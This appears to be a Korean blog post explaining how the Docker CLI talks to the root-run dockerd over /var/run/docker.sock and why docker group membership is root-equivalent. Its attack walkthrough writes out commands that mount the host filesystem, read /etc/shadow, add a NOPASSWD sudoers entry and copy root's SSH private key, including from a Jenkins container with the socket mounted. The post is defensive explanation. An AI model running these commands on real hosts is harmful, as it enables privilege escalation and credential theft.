docker CLI가 명령을 실행할 때 내부에서 무슨 일이 벌어지는지, 그리고 docker 그룹 멤버십이 사실상 root 권한과 동등한 이유를 UDS 통신 구조부터 공격 시나리오까지 정리합니다.
docker ps 한 줄을 입력할 때 내부에서 어떤 일이 벌어질까요? Docker는 단순한 CLI 도구가 아니라 클라이언트-서버 아키텍처 위에서 동작합니다.
“docker.sock에 접근할 수 있다는 것은, root 권한이 필요한 모든 작업을 dockerd를 통해 실행할 수 있다는 의미입니다.
Docker는 두 개의 독립된 컴포넌트로 나뉩니다.
사용자
↓ 명령 입력
docker CLI ← 단순한 HTTP 클라이언트
↓ HTTP 요청
/var/run/docker.sock
↓
dockerd ← root로 실행되는 데몬. 실제 컨테이너 생성/관리 담당
↓ syscall
Linux Kernel ← namespace, cgroup, mount 등 특권 작업 수행
비유하자면 다음과 같습니다.
| 역할 | Docker 구성요소 | 비유 |
|---|---|---|
| 클라이언트 | docker CLI | curl |
| 통신 채널 | docker.sock | http://localhost:8080 |
| 서버 | dockerd | 비즈니스 로직을 담은 애플리케이션 |
docker run이나 docker ps는 Docker가 직접 컨테이너를 만드는 게 아닙니다. dockerd라는 별도의 데몬에게 명령을 전달하는 것입니다.
Docker CLI와 dockerd 사이의 통신 채널이 바로 UDS(Unix Domain Socket) 입니다.
일반적인 HTTP, TCP 커넥션에서 사용하는 방식입니다.
프로세스 A → Port → 네트워크 스택 → 프로세스 B
패킷화, 체크섬 계산, 라우팅, 흐름 제어 등 여러 단계를 거칩니다.
chmod)으로 접근 제어 - 방화벽 설정 실수와 무관하게 외부 접근 불가docker.sock은 파일 권한으로 보호됩니다.
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May 14 09:00 /var/run/docker.sock
# ^^^^^^
# docker 그룹에 속한 사용자만 접근 가능
맨 앞의 s는 일반 파일이 아닌 소켓 타입임을 의미합니다.
docker ps를 입력하면 내부에서 일어나는 일1. docker CLI가 명령을 파싱한다.
2. CLI가 /var/run/docker.sock으로 HTTP 요청을 전송한다.
3. dockerd가 컨테이너 목록을 조회해 JSON으로 응답한다.
4. CLI가 응답을 파싱하여 테이블로 출력한다.
UDS 위에 HTTP가 얹혀 있기 때문에, docker ps 대신 curl로 동일한 결과를 얻을 수 있습니다.
# UDS로 HTTP 요청 직접 보내기
curl --unix-socket /var/run/docker.sock \
http://localhost/v1.43/containers/json | jq
# 위와 완전히 동일한 결과
docker ps
dockerd는 REST API 서버입니다. GET /containers/json, POST /containers/create 같은 엔드포인트가 존재하며, Docker CLI는 이 API의 클라이언트일 뿐입니다. docker SDK나 curl로도 동일하게 제어할 수 있습니다.
여기서 핵심 보안 이슈가 등장합니다.
dockerd는 컨테이너를 만들기 위해 namespace 설정, cgroup 조작, 파일시스템 마운트 같은 특권 syscall이 필요합니다. 따라서 dockerd는 항상 root 권한으로 실행됩니다.
일반 유저 (guest)
↓ docker CLI로 명령 전송 (일반 유저 권한)
docker.sock
↓
dockerd (root 권한으로 실행 중)
↓ 실제 작업은 root로 수행
docker 그룹에 속한 일반 사용자가 할 수 있는 것들은 다음과 같습니다.
--privileged 모드로 컨테이너 실행--network host)--pid host)이 모든 것이 dockerd가 가진 root 능력입니다.
sudo 권한 없이도 docker 명령을 사용할 수 있는 상태입니다.
Step 1. 현재 권한 확인
whoami
# guest
sudo whoami
# [sudo] password for guest: ← 비밀번호 필요, root 아님
Step 2. docker를 통한 호스트 루트 파일시스템 마운트
docker run -it --rm -v /:/host alpine chroot /host /bin/sh
이 명령은 다음 순서로 동작합니다.
1. alpine 컨테이너 실행
2. 호스트의 루트 디렉토리(/)를 컨테이너의 /host에 마운트
3. chroot /host → 컨테이너의 루트를 호스트 파일시스템으로 변경
4. /bin/sh 실행
Step 3. 컨테이너 안에서 호스트 root
whoami
# root ← 컨테이너 안이지만 호스트 파일시스템에 대한 root
# 호스트의 /etc/shadow 열람 (모든 사용자 패스워드 해시)
cat /etc/shadow
# 호스트 sudoers 파일 직접 수정
echo "guest ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
# 호스트 root의 SSH 개인키 탈취
cat /root/.ssh/id_rsa
이 시나리오에서 guest는 sudo 권한 없이도 호스트의 모든 파일에 접근하고 수정했습니다. docker 그룹 멤버십은 Linux 보안 모델에서 root 권한과 동등하게 취급해야 합니다.
CI/CD 파이프라인에서 자주 사용되는 DooD(Docker-out-of-Docker) 패턴이 있습니다. Jenkins 같은 빌드 컨테이너 안에서 docker build를 실행하기 위해 호스트의 소켓을 컨테이너에 그대로 마운트하는 방식입니다.
# docker-compose.yml
services:
jenkins:
image: jenkins/jenkins
volumes:
- /var/run/docker.sock:/var/run/docker.sock # 호스트 소켓 마운트
이 경우 Jenkins 컨테이너 안에서 실행한 docker build가 어디서 동작하는지가 핵심입니다.
Jenkins 컨테이너 내부
└─ docker CLI → /var/run/docker.sock → 호스트의 dockerd
↓
새 컨테이너 생성 (호스트 레벨)
Jenkins 컨테이너가 만든 컨테이너들은 Jenkins의 자식이 아닌 형제 관계입니다. 모두 호스트의 dockerd가 직접 관리합니다.
공격 시나리오:
docker run -v /:/host alpine chroot /host /bin/sh -c "cat /root/.ssh/id_rsa > /tmp/key"
Jenkins 컨테이너의 격리는 docker.sock이 마운트된 순간 무의미해집니다.
docker.sock 접근 권한의 의미
docker CLI (일반 유저)
↓ UDS 통신
docker.sock ← 이 파일에 쓰기 권한 = 아래 모든 것 가능
↓
dockerd (root 실행)
├─ 호스트 파일시스템 마운트
├─ privileged 컨테이너 실행
├─ 호스트 네트워크/PID namespace 공유
└─ 모든 특권 syscall 실행
docker 그룹에 사용자를 추가하는 것은 sudo 권한 부여와 동일하게 취급할 것